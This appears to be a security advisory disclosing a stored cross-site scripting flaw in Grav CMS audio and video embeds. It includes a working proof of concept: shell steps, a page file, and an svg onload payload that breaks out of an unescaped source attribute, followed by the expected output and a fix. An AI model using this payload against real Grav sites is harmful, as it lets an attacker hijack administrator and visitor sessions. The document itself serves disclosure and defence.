Target: github.com/getgrav/grav
Affected resource: Grav\Common\Media\Traits\AudioMediaTrait / VideoMediaTrait sourceParsedownElement() — verified on 2.0.13 (latest stable) and develop HEAD 5a7070f
Severity: Medium (~6.9 CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:N — anchored to the sibling script-XSS advisory CVE-2026-42841, same PR:H / S:C / C:H / I:L)
Weakness: CWE-79 (Improper Neutralization of Input During Web Page Generation)
A Markdown audio or video embed renders its <source> element as raw HTML with the media URL concatenated unescaped. The URL fragment is reflected without any encoding, so >) breaks out of <source src="…"> and injects arbitrary HTML — including a script-executing <svg onload> — into the rendered page. Any user who views the page runs the attacker's JavaScript in their session; a logged-in administrator who views it exposes their same-origin Grav Admin session to the attacker's script.
This is the next sink in the media-parameter injection class the maintainer has been closing: GHSA-r7fx-8g49-7hhr (attribute()), GHSA-pmf8-g7c8-7v54 / CVE-2026-55890 (style(), 2.0.0-rc.9), and GHSA-ffmg-hfvg-jhg9 (resize(), 2.0.0-rc.10). All three guarded image style/attribute sinks; the aba291a5 audit scoped itself to "sinks reaching the style attribute" and did not cover the audio/video <source> rawHtml sink, which reaches full script execution rather than CSS injection.
The audio/video player builds its inner source as Parsedown rawHtml (emitted verbatim, unescaped), concatenating the media URL directly into a double-quoted attribute — AudioMediaTrait.php L43-52 (identical in VideoMediaTrait.php L58-67):
protected function sourceParsedownElement(array $attributes, $reset = true)
{
$location = $this->url($reset);
return [
'name' => 'audio',
'rawHtml' => '<source src="' . $location . '">Your browser does not support the audio tag.',
'attributes' => $attributes
];
}
$location includes the URL fragment, which is stored with no encoding — MediaObjectTrait::urlHash() L240-249 only strips a leading #. Before that, the excerpt handler decodes the media URL with htmlspecialchars_decode(urldecode(...)), undoing Parsedown's escaping — Excerpts.php L188 — and routes the fragment to urlHash() at Excerpts.php L321-323. So ", <, >, =, (, ) in the fragment survive into the raw <source>.
Two defenses that stop the querystring path do not cover the fragment:
ParsedownGravTrait::filterDisallowedRawHtml() L528-535 — escapes < only for title|textarea|style|xmp|iframe|noembed|noframes|script|plaintext. <svg> and <img> are not on the list, so they inject as live markup.__call querystring passthrough rawurlencodes its values, but the fragment never passes through it, so event-handler values (onload=alert(1)) keep their = ( ) and execute.The image render path is unaffected — an image's src goes into an htmlspecialchars-escaped attribute, not rawHtml.
mkdir -p /tmp/grav-xss && cd /tmp/grav-xss
curl -L -o grav.zip https://github.com/getgrav/grav/releases/download/2.0.13/grav-v2.0.13.zip
unzip grav.zip
cd /tmp/grav-xss/grav
mkdir -p user/pages/03.poc
printf 'ID3fakeaudio' > user/pages/03.poc/sound.mp3
cat > user/pages/03.poc/default.md <<'MD'
---
title: XSS PoC
---
>)
MD
php -S 127.0.0.1:8390 -t /tmp/grav-xss/grav /tmp/grav-xss/grav/system/router.php
Leave this running and open a new terminal for the next step.
for i in $(seq 1 60); do (exec 3<>/dev/tcp/127.0.0.1/8390) 2>/dev/null && { exec 3>&-; break; }; sleep 1; done
curl http://127.0.0.1:8390/poc | grep -o '<audio.*</audio>'
Expected output:
<audio controls="controls" alt="sound"><source src="/user/pages/03.poc/sound.mp3?loading=auto&decoding=auto&fetchpriority=auto#"><svg/onload=alert(1)>">Your browser does not support the audio tag.</audio>
The <source src="…#"> is closed by the injected " and >, and <svg/onload=alert(1)> follows as live markup. Open http://127.0.0.1:8390/poc in a browser: the SVG's onload fires and executes alert(1) (screenshot: a document.body.innerHTML='XSS_…' variant rewriting the page). Video reproduces identically with an .mp4 file and the same fragment.
Escape $location with htmlspecialchars() before concatenating it into the <source src="…"> rawHtml in AudioMediaTrait::sourceParsedownElement() and VideoMediaTrait::sourceParsedownElement() (and any other rawHtml media sink), or build the <source> through Parsedown's escaped-attribute mechanism instead of a raw string. The URL fragment in MediaObjectTrait::urlHash() should also be encoded rather than passed through verbatim.
kill %1 2>/dev/null
rm -rf /tmp/grav-xss
Arbitrary JavaScript executes with no interaction in the session of any user who views a page that embeds a crafted audio/video file. The attacker is a page-content author (a Grav back-end user with page-edit rights, below super-admin); the injected <svg onload> runs in the viewer's origin — a published-page visitor (confirmed at runtime), or a logged-in administrator who views the page, whose same-origin Grav Admin session the script can then ride. This is a no-interaction sink: Grav's body renderer already passes interaction-based <a href="javascript:"> / <form action="javascript:"> raw but escapes auto-firing <img onerror> / <svg onload> on block tags — the audio/video <source> rawHtml path is the reliable auto-firing primitive that the three prior fixes (which constrained this same author→viewer boundary to safe CSS) left open.
{
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-17T17:31:41Z",
"nvd_published_at": null,
"severity": "MODERATE"
}